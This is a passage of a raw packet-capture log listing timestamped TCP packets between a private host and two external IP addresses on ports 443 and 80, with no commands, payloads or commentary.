Nov 25, 2020 19:06:26.521526098 CET	49745	443	192.168.2.7	87.248.118.23
Nov 25, 2020 19:06:26.521531105 CET	443	49745	87.248.118.23	192.168.2.7
Nov 25, 2020 19:06:26.521547079 CET	49745	443	192.168.2.7	87.248.118.23
Nov 25, 2020 19:06:26.521565914 CET	443	49745	87.248.118.23	192.168.2.7
Nov 25, 2020 19:06:26.521583080 CET	49745	443	192.168.2.7	87.248.118.23
Nov 25, 2020 19:06:26.521609068 CET	443	49745	87.248.118.23	192.168.2.7
Nov 25, 2020 19:06:26.521615982 CET	49745	443	192.168.2.7	87.248.118.23
Nov 25, 2020 19:06:26.521651030 CET	443	49745	87.248.118.23	192.168.2.7
Nov 25, 2020 19:06:26.521660089 CET	49745	443	192.168.2.7	87.248.118.23
Nov 25, 2020 19:06:26.521668911 CET	443	49745	87.248.118.23	192.168.2.7
Nov 25, 2020 19:06:26.521697044 CET	443	49745	87.248.118.23	192.168.2.7
Nov 25, 2020 19:06:26.521723986 CET	443	49745	87.248.118.23	192.168.2.7
Nov 25, 2020 19:06:26.521758080 CET	443	49745	87.248.118.23	192.168.2.7
Nov 25, 2020 19:06:26.521761894 CET	49745	443	192.168.2.7	87.248.118.23
Nov 25, 2020 19:06:26.521790981 CET	443	49745	87.248.118.23	192.168.2.7
Nov 25, 2020 19:06:26.521863937 CET	443	49745	87.248.118.23	192.168.2.7
Nov 25, 2020 19:06:26.521883965 CET	443	49745	87.248.118.23	192.168.2.7
Nov 25, 2020 19:06:26.521887064 CET	49745	443	192.168.2.7	87.248.118.23
Nov 25, 2020 19:06:26.521892071 CET	49745	443	192.168.2.7	87.248.118.23
Nov 25, 2020 19:06:26.521913052 CET	443	49745	87.248.118.23	192.168.2.7
Nov 25, 2020 19:06:26.521945953 CET	49745	443	192.168.2.7	87.248.118.23
Nov 25, 2020 19:06:26.521964073 CET	443	49745	87.248.118.23	192.168.2.7
Nov 25, 2020 19:06:26.521994114 CET	49745	443	192.168.2.7	87.248.118.23
Nov 25, 2020 19:06:26.522027016 CET	49745	443	192.168.2.7	87.248.118.23
Nov 25, 2020 19:06:26.551129103 CET	443	49745	87.248.118.23	192.168.2.7
Nov 25, 2020 19:06:26.551194906 CET	443	49745	87.248.118.23	192.168.2.7
Nov 25, 2020 19:06:26.551234961 CET	443	49745	87.248.118.23	192.168.2.7
Nov 25, 2020 19:06:26.551249981 CET	49745	443	192.168.2.7	87.248.118.23
Nov 25, 2020 19:06:26.551274061 CET	443	49745	87.248.118.23	192.168.2.7
Nov 25, 2020 19:06:26.551301956 CET	49745	443	192.168.2.7	87.248.118.23
Nov 25, 2020 19:06:26.551311970 CET	49745	443	192.168.2.7	87.248.118.23
Nov 25, 2020 19:06:26.551315069 CET	49745	443	192.168.2.7	87.248.118.23
Nov 25, 2020 19:06:26.551326036 CET	443	49745	87.248.118.23	192.168.2.7
Nov 25, 2020 19:06:26.551362038 CET	443	49745	87.248.118.23	192.168.2.7
Nov 25, 2020 19:06:26.551379919 CET	49745	443	192.168.2.7	87.248.118.23
Nov 25, 2020 19:06:26.551424980 CET	49745	443	192.168.2.7	87.248.118.23
Nov 25, 2020 19:07:08.957539082 CET	49765	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:08.958436012 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.123503923 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.123625994 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.128911972 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.131627083 CET	80	49765	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.131752968 CET	49765	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.295815945 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.315493107 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.315515041 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.315530062 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.315545082 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.315561056 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.315577984 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.315596104 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.315613985 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.315632105 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.315712929 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.315778017 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.315817118 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.315824986 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.480827093 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.480865002 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.480895042 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.480925083 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.480972052 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.481009960 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.481015921 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.481051922 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.481101036 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.481117010 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.481126070 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.481148958 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.481189013 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.481234074 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.481259108 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.481262922 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.481297970 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.481327057 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.481338978 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.481364012 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.481370926 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.481386900 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.481417894 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.481457949 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.481489897 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.481518984 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.481554985 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.481569052 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.481585979 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.481614113 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.481673002 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.481683969 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.481720924 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.481761932 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.481787920 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.647622108 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.647691011 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.647742987 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.647758007 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.647803068 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.647814989 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.647835970 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.647872925 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.647917986 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.647978067 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.647994041 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.648051023 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.648099899 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.648122072 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.648164988 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.648169994 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.648200989 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.648231983 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.648246050 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.648319006 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.648380995 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.648430109 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.648442030 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.648478985 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.648493052 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.648523092 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.648530006 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.648581982 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.648605108 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.648655891 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.648695946 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.648727894 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.648802996 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.648812056 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.648849964 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.648890018 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.648899078 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.648899078 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.648907900 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.648947954 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.648978949 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.649034977 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.649050951 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.649075985 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.649085045 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.649131060 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.649132967 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.649158001 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.649187088 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.649194956 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.649213076 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.649228096 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.649243116 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.649266005 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.649281979 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.649307013 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.649312019 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.649346113 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.649353027 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.649394035 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.649431944 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.649533987 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.649600029 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.649609089 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.649627924 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.649657965 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.649667025 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.649688959 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.649696112 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.649715900 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.649739027 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.649759054 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.649820089 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.649821043 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.649852991 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.649903059 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.829660892 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.829713106 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.829824924 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.829842091 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.829864979 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.829891920 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.829893112 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.829938889 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.829938889 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.829977989 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.829986095 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.830025911 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.830092907 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.830138922 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.830210924 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.830255032 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.830257893 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.830293894 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.830300093 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.830346107 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.830374956 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.830399990 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.830439091 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.830480099 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.830487967 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.830524921 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.830549955 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.830574036 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.830595016 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.830626965 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.830682993 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.830724955 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.830768108 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.830838919 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.832092047 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.832139969 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.832159042 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.832179070 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.832185984 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.832217932 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.832231045 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.832258940 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.832274914 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.832303047 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.832309961 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.832370043 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.832400084 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.832441092 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.832444906 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.832479954 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.832484961 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.832519054 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.832521915 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.832557917 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.832566023 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.832597017 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.832600117 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.832636118 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.832649946 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.832681894 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.832694054 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.832736969 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.832739115 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.832773924 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.832783937 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.832827091 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.832829952 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.832865000 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.832869053 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.832904100 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.832906961 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.832943916 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.832958937 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.832992077 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.833025932 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.833064079 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.833075047 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.833101988 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.833105087 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.833158016 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.833206892 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.833214045 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.833264112 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.833302021 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.833308935 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.833333015 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.833370924 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.833386898 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.833416939 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.833502054 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.833544970 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.833550930 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.833583117 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.833589077 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.833621979 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.833635092 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.833662033 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.833673000 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.833710909 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.833710909 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.833754063 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.833756924 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.833800077 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.833806992 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.833844900 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.833856106 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.833883047 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.833885908 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.833921909 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.833926916 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.833960056 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.833961010 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.834002018 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.834003925 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.834039927 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.834045887 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.834093094 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.834100962 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.834148884 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.834150076 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.834194899 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.834198952 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.834244967 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.834247112 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.834285975 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.834291935 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.834322929 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.834332943 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.834363937 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.834377050 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.834403038 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.834408045 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.834441900 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.834448099 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.834486008 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.995734930 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.995780945 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.995820045 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.995826960 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.995858908 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.995862961 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.995898962 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.995906115 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.995935917 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.995949030 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.995991945 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.996007919 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.996032000 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.996032953 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.996072054 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.996074915 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.996112108 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.996115923 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.996150017 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.996165991 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.996187925 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.996187925 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.996226072 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.996232033 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.996263027 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.996273994 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.996318102 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.996320009 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.996356964 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.996357918 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.996396065 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.996407986 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.996434927 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.996439934 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.996473074 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.996474981 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.996511936 CET	80	49766	162.0.213.230	192.168.2.7
